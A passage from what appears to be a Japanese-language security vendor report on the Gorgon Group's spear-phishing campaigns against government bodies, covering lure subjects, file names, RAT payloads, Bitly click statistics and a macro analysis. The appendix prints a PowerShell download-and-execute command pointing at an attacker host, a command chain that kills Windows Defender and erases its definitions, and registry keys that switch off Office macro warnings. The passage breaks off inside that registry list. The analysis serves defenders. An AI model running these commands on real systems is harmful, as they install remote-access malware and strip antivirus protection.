Group\u306e\u6d3b\u52d5\u306b\u306f\u7cbe\u5de7\u3055\u304c\u6b20\u843d\u3057\u3066\u3044\u308b\u306b\u3082\u95a2\u308f\u3089\u305a\u3001\u5f7c\u3089\u306f\u653b\u6483\u3092\u6bd4\u8f03\u7684\u7d99\u7d9a\u3057\u3066\u6210\u529f\u3055\u305b\u3066\u3044\u307e\u3057\u305f\u3002\u9069\u5207\u306a\u9632\u5fa1\u3092\u884c\u3063\u3066\u3044\u306a\u3044\u500b\u4eba\u306b\u5bfe\u3059\u308b\u5358\u7d14\u306a\u653b\u6483\u304c\u529f\u3092\u594f\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u5b9f\u8a3c\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<h3><a id=\"post-104133-\u76ee\u76842-\u6a19\u7684\u578b\u653b\u6483\"><\/a>\u76ee\u76842: \u6a19\u7684\u578b\u653b\u6483<\/h3>\n<p>2018\u5e743\u6708\u521d\u65ec\u304b\u3089\u3001Unit 42\u306f\u3001\u30ed\u30b7\u30a2\u3001\u30b9\u30da\u30a4\u30f3\u3001\u304a\u3088\u3073\u7c73\u56fd\u306e\u653f\u5e9c\u6a5f\u95a2\u306b\u5bfe\u3059\u308b\u30d1\u30ad\u30b9\u30bf\u30f3\u56fd\u5185\u304b\u3089\u306e\u6a19\u7684\u578b\u653b\u6483\u3092\u89b3\u6e2c\u3057\u59cb\u3081\u307e\u3057\u305f\u3002\u8abf\u67fb\u3092\u7d9a\u3051\u308b\u306b\u3064\u308c\u3001Gorgon Group\u304c\u4e00\u8cab\u3057\u3066\u3001\u30d1\u30ad\u30b9\u30bf\u30f3\u56fd\u5185\u304b\u3089\u4e16\u754c\u4e2d\u306e\u653f\u5e9c\u7d44\u7e54\u3092\u6a19\u7684\u3068\u3057\u3066\u6d3b\u52d5\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u660e\u3089\u304b\u306b\u306a\u308a\u307e\u3057\u305f\u3002Gorgon Group\u306f\u3001\u5f7c\u3089\u306e\u65b9\u6cd5\u306b\u30de\u30a4\u30ca\u30fc\u306a\u5909\u66f4\u3092\u52a0\u3048\u3066\u3044\u307e\u3059\u304c\u3001\u5f15\u304d\u7d9a\u304d\u6d3b\u767a\u306b\u3001\u6a19\u7684\u578b\u653b\u6483\u3068\u72af\u7f6a\u7684\u653b\u6483\u306b\u95a2\u308f\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u3053\u306eGorgon Group\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u306f\u3001<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2017-0199\">CVE-2017-0199<\/a>\u3092\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3059\u308bMicrosoft Word\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092\u7528\u3044\u305f\u30b9\u30d4\u30a2 \u30d5\u30a3\u30c3\u30b7\u30f3\u30b0 \u30e1\u30fc\u30eb\u3092\u6d3b\u7528\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u95a2\u4fc2\u3059\u308b\u30b9\u30d4\u30a2 \u30d5\u30a3\u30c3\u30b7\u30f3\u30b0 \u30e1\u30fc\u30eb\u306f\u3001\u307b\u3068\u3093\u3069\u306e\u5834\u5408\u3001\u30d1\u30ad\u30b9\u30bf\u30f3\u8ecd\u306e\u8457\u540d\u306a\u4e2d\u4f50\u306a\u3069\u3001\u6b63\u898f\u306e\u500b\u4eba\u306b\u306a\u308a\u3059\u307e\u3057\u305fGmail\u30a2\u30ab\u30a6\u30f3\u30c8\u304b\u3089\u767a\u4fe1\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>\u30b9\u30d4\u30a2 \u30d5\u30a3\u30c3\u30b7\u30f3\u30b0 \u30e1\u30fc\u30eb\u306e\u4ef6\u540d\u3082\u8208\u5473\u6df1\u304f\u3001\u901a\u5e38\u306f\u3001\u30c6\u30ed\u30ea\u30b9\u30c8 \u30b0\u30eb\u30fc\u30d7\u3001\u8ecd\u4e8b\u6d3b\u52d5\u3001\u307e\u305f\u306f\u653f\u6cbb\u554f\u984c\u306b\u95a2\u3059\u308b\u4e3b\u984c\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<ul>\n<li>Acting FOREIGN Minister of Pakistan (\u30d1\u30ad\u30b9\u30bf\u30f3\u306e\u5916\u52d9\u5927\u81e3\u4ee3\u7406)<\/li>\n<li>Invitation to lady wives of H.E.Ambassador\/High Commissioner from lady wife of H.E.High Commissioner of Bangladesh (\u30d0\u30f3\u30b0\u30e9\u30c7\u30b7\u30e5\u306eH.E.\u9ad8\u7b49\u5f01\u52d9\u5b98\u592b\u4eba\u304b\u3089\u306eH.E.\u5927\u4f7f\/\u9ad8\u7b49\u5f01\u52d9\u5b98\u592b\u4eba\u3078\u306e\u62db\u5f85)<\/li>\n<li>Pakistan eying Sukhoi-35 fighter planes as part of defense deal from Russia 2018.143 (\u30d1\u30ad\u30b9\u30bf\u30f3\u304c\u30ed\u30b7\u30a22018.143\u304b\u3089\u306e\u9632\u885b\u5bfe\u7b56\u306e\u4e00\u90e8\u3068\u3057\u3066Sukhoi-35\u6226\u95d8\u6a5f\u3092\u691c\u8a0e)<\/li>\n<li>PG COURSE IN 2018-2021 BATCH India Bangladesh and Pakistan (\u30d1\u30d7\u30a2\u30cb\u30e5\u30fc\u30ae\u30cb\u30a2\u304c2018\uff5e2021\u5e74\u306e\u30a4\u30f3\u30c9 \u30d0\u30f3\u30b0\u30e9\u30c7\u30b7\u30e5\u3068\u30d1\u30ad\u30b9\u30bf\u30f3\u306e\u7d71\u5408\u306b\u7740\u624b)<\/li>\n<li>Press Release on Observance of Historic Mujibnogor Dibosh by Pakistan Mission on 17 April 2018 (2018\u5e744\u670817\u65e5\u306e\u30d1\u30ad\u30b9\u30bf\u30f3\u306e\u30df\u30c3\u30b7\u30e7\u30f3\u306b\u3088\u308b\u6b74\u53f2\u7684\u306aMujibnogor Dibosh\u306e\u9806\u5b88\u306b\u95a2\u3059\u308b\u30d7\u30ec\u30b9 \u30ea\u30ea\u30fc\u30b9)<\/li>\n<li>Afghan Bomb Blast report by ISI (ISI\u306b\u3088\u308b\u30a2\u30d5\u30ac\u30f3\u306e\u7206\u98a8\u30ec\u30dd\u30fc\u30c8)<\/li>\n<li>USAJOBS Daily Saved Search Results for New GS15 for 3\/30\/2018 (2018\u5e743\u670830\u65e5\u306e\u65b0\u3057\u3044GS15\u306b\u95a2\u3057\u3066USAJOBS Daily\u304c\u4fdd\u5b58\u3057\u305f\u691c\u7d22\u7d50\u679c)<\/li>\n<li>How Rigging take place in Senate Elections in Pakistan (\u30d1\u30ad\u30b9\u30bf\u30f3\u306e\u4e0a\u9662\u9078\u6319\u3067\u3069\u306e\u3088\u3046\u306b\u4e0d\u6b63\u304c\u884c\u308f\u308c\u305f\u304b)<\/li>\n<li>Afghan Terrorist group details ISI Restricted113 (\u30a2\u30d5\u30ac\u30f3\u306e\u30c6\u30ed\u30ea\u30b9\u30c8 \u30b0\u30eb\u30fc\u30d7\u304cISI Restricted113\u3092\u8a73\u89e3)<\/li>\n<li>1971 Liberation War Freedom Fighters in Pakistan Army Custody Database (\u30d1\u30ad\u30b9\u30bf\u30f3\u9678\u8ecd\u7ba1\u7406\u306e\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u304a\u3051\u308b1971\u5e74\u306b\u6226\u4e89\u304b\u3089\u89e3\u653e\u3055\u308c\u305f\u6226\u58eb)<\/li>\n<\/ul>\n<p>\u3055\u3089\u306b\u3001\u3053\u308c\u3089\u306e\u653b\u6483\u3067\u306f\u4ee5\u4e0b\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u304c\u76ee\u6483\u3055\u308c\u307e\u3057\u305f(\u30b9\u30da\u30eb\u3068\u6587\u6cd5\u306e\u9593\u9055\u3044\u304c\u542b\u307e\u308c\u308b)\u3002<\/p>\n<ul>\n<li>Liberation Freedom Fighter.xlam<\/li>\n<li>NSC details of participants.xlam<\/li>\n<li>Raw Sect Vikram report on Pak Army Confidential.doc<\/li>\n<li>USA Immagration Policy for Families.ppam<\/li>\n<li>CV.doc<\/li>\n<li>CV FM.doc<\/li>\n<li>invitation.doc<\/li>\n<li>Sukhoi35 deal report.doc<\/li>\n<li>Nominal Roll.doc<\/li>\n<li>Press Release 17 April.doc<\/li>\n<li>Afghan Blast report by ISI.doc<\/li>\n<li>Rigging in Pakistan Senate.doc<\/li>\n<li>Afghan Terrorist group report.doc<\/li>\n<\/ul>\n<p>\u3053\u308c\u3089\u306e\u653b\u6483\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u30de\u30eb\u30a6\u30a7\u30a2 \u30d5\u30a1\u30df\u30ea\u5185\u3067\u7570\u306a\u3063\u3066\u3044\u307e\u3057\u305f\u3002\u4e00\u822c\u7684\u306aNanoCoreRAT\u3001QuasarRAT\u3001\u304a\u3088\u3073NJRAT\u4e9c\u7a2e\u304c\u983b\u7e41\u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>\u3053\u308c\u3089\u306e\u591a\u6570\u306e\u653b\u6483\u3067\u306f\u3001\u6700\u7d42\u7684\u306b\u3053\u308c\u3089\u306e\u653b\u6483\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u914d\u4fe1\u3059\u308b\u305f\u3081\u306b\u3001\u666e\u53ca\u3057\u3066\u3044\u308b\u30b5\u30fc\u30c9\u30d1\u30fc\u30c6\u30a3\u88fdURL\u77ed\u7e2e\u30b5\u30fc\u30d3\u30b9Bitly\u304c\u4f7f\u7528\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>\u91cd\u8981\u306a\u3053\u3068\u306f\u3001Bitly\u30ea\u30f3\u30af\u306e\u4f7f\u7528\u306f\u30af\u30ea\u30c3\u30af\u306e\u6b63\u78ba\u306a\u5730\u7406\u7684\u306a\u5834\u6240\u3092\u5224\u65ad\u3059\u308b\u305f\u3081\u306b\u306f\u6709\u76ca\u3068\u306f\u3044\u3048\u3001\u3053\u308c\u3089\u306e\u30ea\u30f3\u30af\u3092\u30af\u30ea\u30c3\u30af\u3059\u308b\u8ab0\u3082\u304c(\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u3092\u542b\u3081)\u30ab\u30a6\u30f3\u30c8\u3055\u308c\u3066\u3044\u308b\u70b9\u3067\u3059\u3002\u305d\u306e\u305f\u3081\u3001\u3053\u306e\u30af\u30ea\u30c3\u30af\u60c5\u5831\u3092\u4fdd\u6301\u3059\u308b\u3053\u3068\u306f\u8cb4\u91cd\u3067\u3059\u304c\u3001\u305d\u308c\u306f\u3001\u6a19\u7684\u306b\u95a2\u3059\u308b\u5168\u4f53\u50cf\u306e\u4e2d\u306e\u4e00\u90e8\u306b\u904e\u304e\u307e\u305b\u3093\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-86012 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/08\/Gorgon_15.png\" sizes=\"(max-width: 600px) 100vw, 600px\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/08\/Gorgon_15.png 854w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/08\/Gorgon_15-300x97.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/08\/Gorgon_15-768x249.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/08\/Gorgon_15-370x120.png 370w\" alt=\"Gorgon_15\" width=\"600\" height=\"195\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f315. Gorgon Group C2\u30c9\u30e1\u30a4\u30f3\u306b\u95a2\u9023\u3059\u308bBitly\u30af\u30ea\u30c3\u30af\u60c5\u5831<\/span><\/p>\n<p>\u6700\u3082\u91cd\u3044\u8ca0\u8377\u304c\u96c6\u4e2d\u3057\u305fBitly URL\u306e\u3084\u308a\u53d6\u308a\u306f\u3001\u30d1\u30ad\u30b9\u30bf\u30f3\u304b\u3089\u306e\u3082\u306e\u3067\u3057\u305f\u3002\u305d\u308c\u306f\u3001\u5168\u30af\u30ea\u30c3\u30af\u306e39%\u3092\u5360\u3081\u308b410\u30af\u30ea\u30c3\u30af\u3067\u3057\u305f\u3002\u7c73\u56fd\u3067\u306f\u300119%\u306b\u76f8\u5f53\u3059\u308b194\u30af\u30ea\u30c3\u30af\u304c\u53ce\u96c6\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<p><img  class=\"wp-image-86051 aligncenter lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/08\/Gorgon_16.png\" sizes=\"(max-width: 600px) 100vw, 600px\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/08\/Gorgon_16.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/08\/Gorgon_16-900x457.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/08\/Gorgon_16-300x152.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/08\/Gorgon_16-768x390.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/08\/Gorgon_16-370x188.png 370w\" alt=\"Gorgon_16\" width=\"600\" height=\"305\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f316 \u6a19\u7684\u578b\u653b\u6483\u3067\u306eBitly\u30ea\u30f3\u30af\u306e\u30af\u30ea\u30c3\u30af\u6570<\/span><\/p>\n<p>\u653b\u6483\u306f\u4e3b\u306b\u3001\u4eca\u5e74\u306e3\u6708\u30014\u6708\u4e0b\u65ec\u30015\u6708\u4e0a\u65ec\u306b\u4ed5\u639b\u3051\u3089\u308c\u307e\u3057\u305f\u3002<\/p>\n<h2><a id=\"post-104133-\u7d50\u8ad6\"><\/a>\u7d50\u8ad6<\/h2>\n<p>\u56fd\u5bb6\u30ec\u30d9\u30eb\u306e\u653b\u6483\u3068\u72af\u7f6a\u7684\u653b\u6483\u306e\u4e21\u65b9\u3092\u884c\u3046\u3053\u3068\u304c\u78ba\u8a8d\u3055\u308c\u305f\u653b\u6483\u8005\u30b0\u30eb\u30fc\u30d7\u306fGorgon Group\u304c\u521d\u3081\u3066\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002\u3057\u304b\u3057Gorgon Group\u304c\u30e6\u30cb\u30fc\u30af\u306a\u306e\u306f\u3001\u6570\u3005\u306eOpSec\u4e0a\u306e\u904e\u3061\u3092\u72af\u3057\u306a\u304c\u3089\u3082\u306a\u304a\u3001\u304b\u306a\u308a\u306e\u653b\u6483\u6210\u679c\u3092\u3042\u3052\u7d9a\u3051\u3066\u3044\u305f\u3053\u3068\u3067\u3059\u3002Gorgon Group\u306b\u53c2\u52a0\u3057\u305f\u653b\u6483\u8005\u3092\u8a73\u3057\u304f\u8abf\u3079\u305f\u3068\u3053\u308d\u3001\u653b\u6483\u306e\u5185\u60c5\u306b\u3064\u3044\u3066\u72ec\u7279\u306e\u8996\u70b9\u304c\u5f97\u3089\u308c\u307e\u3057\u305f\u3002<\/p>\n<p>\u3053\u3046\u3057\u3066\u6a19\u7684\u578b\u653b\u6483\u3068\u72af\u7f6a\u6d3b\u52d5\u306b\u540c\u3058\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u3092\u6d3b\u7528\u3059\u308b\u3053\u3068\u304b\u3089\u3001\u69d8\u3005\u306a\u52d5\u6a5f\u304c\u7d61\u307f\u5408\u3046\u653b\u6483\u8005\u305f\u3061\u306e\u5074\u9762\u304c\u6d6e\u304b\u3073\u3042\u304c\u3063\u3066\u304f\u308b\u306e\u3082\u8208\u5473\u6df1\u3044\u70b9\u3067\u3059\u3002\u3057\u304b\u3082\u3053\u306e\u5165\u308a\u7d44\u3093\u3060\u52d5\u6a5f\u3053\u305d\u304c\u3001Gorgon Group\u30e1\u30f3\u30d0\u30fc\u306e\u6570\u4eba\u304c\u30d1\u30ad\u30b9\u30bf\u30f3\u306b\u7d50\u3073\u4ed8\u304d\u304c\u3042\u308b\u3068\u3044\u3046\u7d50\u8ad6\u306b\u81f3\u3063\u305f\u7406\u7531\u3067\u3082\u3042\u308b\u306e\u3067\u3059\u3002Gorgon Group\u306f\u7d99\u7d9a\u3057\u3066\u6d3b\u767a\u306b\u6d3b\u52d5\u3057\u3066\u3044\u307e\u3059\u304c\u3001\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u3053\u306e\u8105\u5a01\u304b\u3089\u4ee5\u4e0b\u306b\u793a\u3059\u65b9\u6cd5\u3067\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<ul>\n<li>WildFire\u306f\u3001\u60aa\u610f\u304c\u3042\u308b\u3068\u5224\u65ad\u3055\u308c\u305f\u73fe\u5728\u306eGorgon Group\u30d5\u30a1\u30a4\u30eb\u3092\u3059\u3079\u3066\u691c\u51fa\u3057\u307e\u3059\u3002<\/li>\n<li>AutoFocus\u3092\u3054\u4f7f\u7528\u306e\u304a\u5ba2\u69d8\u306f\u3001<a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.GorgonGroup\">Gorgon Group<\/a>\u653b\u6483\u8005\u30bf\u30b0\u3067\u3053\u308c\u3089\u306e\u30b5\u30f3\u30d7\u30eb\u3092\u8abf\u3079\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/li>\n<li>Traps\u306f\u3001Gorgon Group\u306b\u73fe\u5728\u95a2\u9023\u4ed8\u3051\u3089\u308c\u3066\u3044\u308b\u3059\u3079\u3066\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u30d6\u30ed\u30c3\u30af\u3057\u307e\u3059\u3002<\/li>\n<\/ul>\n<h2><a id=\"post-104133-\u4ed8\u9332\"><\/a>\u4ed8\u9332<\/h2>\n<h3><a id=\"post-104133-\u6a19\u7684\u578b\u653b\u6483\u306e\u5206\u6790\"><\/a>\u6a19\u7684\u578b\u653b\u6483\u306e\u5206\u6790<\/h3>\n<h4><a id=\"post-104133-X52934e44eb002e99b67b810ce2c30d314999a19\"><\/a>\u300c1971 Liberation War Freedom Fighters in Pakistan Army Custody Database (\u30d1\u30ad\u30b9\u30bf\u30f3\u9678\u8ecd\u7ba1\u7406\u306e\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u304a\u3051\u308b1971\u5e74\u306b\u6226\u4e89\u304b\u3089\u89e3\u653e\u3055\u308c\u305f\u6226\u58eb)\u300d<\/h4>\n<p>\u6a19\u7684\u578b\u653b\u6483\u3067\u4f7f\u7528\u3055\u308c\u305f\u914d\u4fe1\u6587\u66f8\u306f\u3001\u30b7\u30b9\u30c6\u30e0\u3078\u306e\u4fb5\u5bb3\u3092\u8a66\u307f\u308b\u30de\u30af\u30ed\u3092\u542b\u3093\u3060Microsoft Office\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3067\u3059\u3002\u611f\u67d3\u30d7\u30ed\u30bb\u30b9\u306f\u304b\u306a\u308a\u8208\u5473\u6df1\u304f\u3001\u6700\u7d42\u7684\u306bNanoCore RAT (\u30ea\u30e2\u30fc\u30c8\u7ba1\u7406\u30c4\u30fc\u30eb)\u3092\u30ea\u30e2\u30fc\u30c8 \u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3001\u305d\u308c\u3092\u5225\u306e\u30d7\u30ed\u30bb\u30b9\u306b\u633f\u5165\u3059\u308b.NET\u30a2\u30bb\u30f3\u30d6\u30ea\u306e\u8907\u6570\u306e\u30ec\u30a4\u30e4\u30fc\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u5834\u5408\u306b\u3088\u3063\u3066\u306f\u3001\u6700\u7d42\u30da\u30a4\u30ed\u30fc\u30c9\u3068\u3057\u3066\u914d\u4fe1\u3055\u308c\u305fRemcosRAT\u30de\u30eb\u30a6\u30a7\u30a2 \u30d5\u30a1\u30df\u30ea\u304c\u89b3\u5bdf\u3055\u308c\u305f\u3053\u3068\u3082\u3042\u308a\u307e\u3059\u3002\u611f\u67d3\u30d7\u30ed\u30bb\u30b9\u306f\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u5b9f\u884c\u3059\u308b\u3060\u3051\u3067\u306a\u304f\u3001\u30d7\u30ed\u30bb\u30b9\u5168\u4f53\u306b\u5bfe\u3059\u308b\u53d7\u4fe1\u8005\u306e\u7591\u3044\u3092\u4f4e\u6e1b\u3059\u308b\u305f\u3081\u306b\u304a\u3068\u308a\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3082\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u958b\u304d\u307e\u3059\u3002\u3055\u3089\u306b\u3001\u30d7\u30ed\u30bb\u30b9\u306f\u3001Microsoft Office\u3068Windows Defender\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u80fd\u3092\u7121\u52b9\u306b\u3059\u308b\u3053\u3068\u3067\u3001\u30b7\u30b9\u30c6\u30e0\u306e\u5168\u4f53\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u4f4e\u6e1b\u3092\u8a66\u307f\u307e\u3059\u3002\u30da\u30a4\u30ed\u30fc\u30c9\u81ea\u4f53\u306f\u3001\u30aa\u30f3\u30e9\u30a4\u30f3\u304b\u3089\u7121\u6599\u3067\u5165\u624b\u53ef\u80fd\u306a\u6b63\u898f\u306e\u30bd\u30fc\u30b9 \u30b3\u30fc\u30c9\u3092\u4f7f\u7528\u3057\u3066\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u3092\u958b\u767a\u8005\u304c\u30e9\u30c3\u30d7\u3057\u3066\u3044\u308b\u70b9\u3067\u8208\u5473\u6df1\u3044\u3068\u8a00\u3048\u307e\u3059\u3002<\/p>\n<h4><a id=\"post-104133-\u914d\u4fe1\u6587\u66f8\"><\/a>\u914d\u4fe1\u6587\u66f8<\/h4>\n<p>\u914d\u4fe1\u6587\u66f8\u306b\u306f\u3001\u30ea\u30e2\u30fc\u30c8 \u30b5\u30fc\u30d0\u30fc\u304b\u3089\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u305f\u3081\u306e\u30de\u30af\u30ed\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u30de\u30af\u30ed\u306f\u3001\u6b21\u306e\u30b3\u30de\u30f3\u30c9 \u30e9\u30a4\u30f3 \u30d7\u30ed\u30bb\u30b9\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u3067\u3001hxxp:\/\/lokipanelhostingpanel[.]gq\/work\/kh\/1.exe (SHA256: 84ed59953f57f5927b9843f35ca3c325155d5210824d3b79b060755827b51f72)\u304b\u3089\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002<\/p>\n<pre>cmd.exe \/c powershell -W Hidden (New-Object System.NeT.WeBClieNT).DownloadFile('http:\/\/lokipanelhostingpanel[.]gq\/work\/kh\/1.exe','%Public%\\\\\\\\svchost32.exe');Start-Process '%Public%\\\\\\\\svchost32.exe\r\n<\/pre>\n<p>\u305d\u306e\u5f8c\u3001\u30de\u30af\u30ed\u306f\u300ctaskkill\u300d\u30b3\u30de\u30f3\u30c9\u3092\u4f7f\u7528\u3057\u3066\u3001Microsoft Office\u3068Windows Defender\u306e\u30d7\u30ed\u30bb\u30b9\u306e\u505c\u6b62\u3092\u8a66\u307f\u307e\u3059\u3002\u30b3\u30de\u30f3\u30c9\u306f\u3001\u56fa\u6709\u306e\u914d\u4fe1\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8(\u3053\u306e\u300c.xlam\u300d\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u5408\u306fExcel\u306a\u3069)\u3092\u30ed\u30fc\u30c9\u3059\u308b\u7279\u5b9a\u306eOffice\u30d7\u30ed\u30bb\u30b9\u306e\u505c\u6b62\u306f\u8a66\u307f\u307e\u305b\u3093\u304c\u3001\u4ee3\u308f\u308a\u306b\u3001Word\u3001Excel\u3001PowerPoint\u3001\u304a\u3088\u3073Publisher\u306b\u95a2\u9023\u4ed8\u3051\u3089\u308c\u305f\u30d7\u30ed\u30bb\u30b9\u306e\u505c\u6b62\u3092\u8a66\u307f\u307e\u3059\u3002\u8a72\u5f53\u3059\u308b\u30d7\u30ed\u30bb\u30b9\u3092\u505c\u6b62\u3059\u308b\u305f\u3081\u306e\u3053\u306e\u5305\u62ec\u7684\u306a\u30a2\u30d7\u30ed\u30fc\u30c1\u306f\u3001\u653b\u6483\u8005\u304c\u3001\u3053\u308c\u3089\u306eMicrosoft Office\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u5185\u3067\u4f5c\u6210\u3057\u305f\u3059\u3079\u3066\u306e\u914d\u4fe1\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u306b\u304a\u3044\u3066\u3001\u5f7c\u3089\u306e\u30de\u30af\u30ed\u5185\u306e\u3053\u306e\u30b3\u30de\u30f3\u30c9\u3092\u5909\u66f4\u3057\u3066\u3044\u306a\u3044\u3053\u3068\u3092\u793a\u5506\u3057\u3066\u3044\u307e\u3059\u3002\u30b3\u30de\u30f3\u30c9\u306f\u3001Windows Defender\u30d7\u30ed\u30bb\u30b9\u306e\u505c\u6b62\u3092\u8a66\u307f\u308b\u3060\u3051\u3067\u306a\u304f\u3001\u30a2\u30f3\u30c1\u30a6\u30a4\u30eb\u30b9 \u30a2\u30e9\u30fc\u30c8\u3092\u30c8\u30ea\u30ac\u30fc\u3057\u306a\u3044\u3088\u3046\u306b\u691c\u51fa\u5b9a\u7fa9\u306e\u6d88\u53bb\u3082\u8a66\u307f\u307e\u3059\u3002\u30de\u30af\u30ed\u306f\u3001\u3053\u308c\u3089\u306e\u6d3b\u52d5\u306e\u3059\u3079\u3066\u3092\u3001\u6b21\u306e\u30b3\u30de\u30f3\u30c9\u3067\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<pre>cmd \/c taskkill \/f \/im winword.exe&amp;taskkill \/f \/im Excel.exe&amp;taskkill\r\n\/f \/im MSPUB.exe&amp;taskkill \/f \/im POWERPNT.EXE&amp;taskkill \/f \/im\r\nMSASCuiL.exe&amp;taskkill \/f \/im MpCmdRun.exe&amp;cd \"\"%ProgramFiles%\\Windows\r\nDefender\"\" &amp; MpCmdRun.exe -removedefinitions -dynamicsignatures &amp; exit\r\n<\/pre>\n<p>\u307e\u305f\u3001\u3053\u306e\u30de\u30af\u30ed\u306f\u3001\u30ec\u30b8\u30b9\u30c8\u30ea\u3092\u5909\u66f4\u3057\u3066\u3001Microsoft Office\u88fd\u54c1\u5185\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 \u30e1\u30ab\u30cb\u30ba\u30e0\u3092\u7121\u52b9\u5316\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002\u307e\u305a\u3001\u30de\u30af\u30ed\u306f\u3001\u4ee5\u4e0b\u306e\u30ec\u30b8\u30b9\u30c8\u30ea \u30ad\u30fc\u306e\u5024\u30921\u306b\u8a2d\u5b9a\u3057\u3066\u3001\u8907\u6570\u30d0\u30fc\u30b8\u30e7\u30f3\u306eWord\u3001PowerPoint\u3001Publisher\u304a\u3088\u3073Excel\u3067\u30de\u30af\u30ed\u3092\u6709\u52b9\u5316\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002<\/p>\n<pre class=\"\">HKCU\\Software\\Microsoft\\Office\\11.0\\Word\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\12.0\\Word\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\14.0\\Word\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\16.0\\Word\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\11.0\\PowerPoint\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\12.0\\PowerPoint\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\14.0\\PowerPoint\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\15.0\\PowerPoint\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\16.0\\PowerPoint\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\11.0\\publisher\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\12.0\\publisher\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\14.0\\publisher\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\15.0\\publisher\\Security\\VBAWarnings\r\nHKCU\\Software\\Microsoft\\Office\\16.0\\publisher\\Security\\VBAWarnings\r\nHKCU\\Soft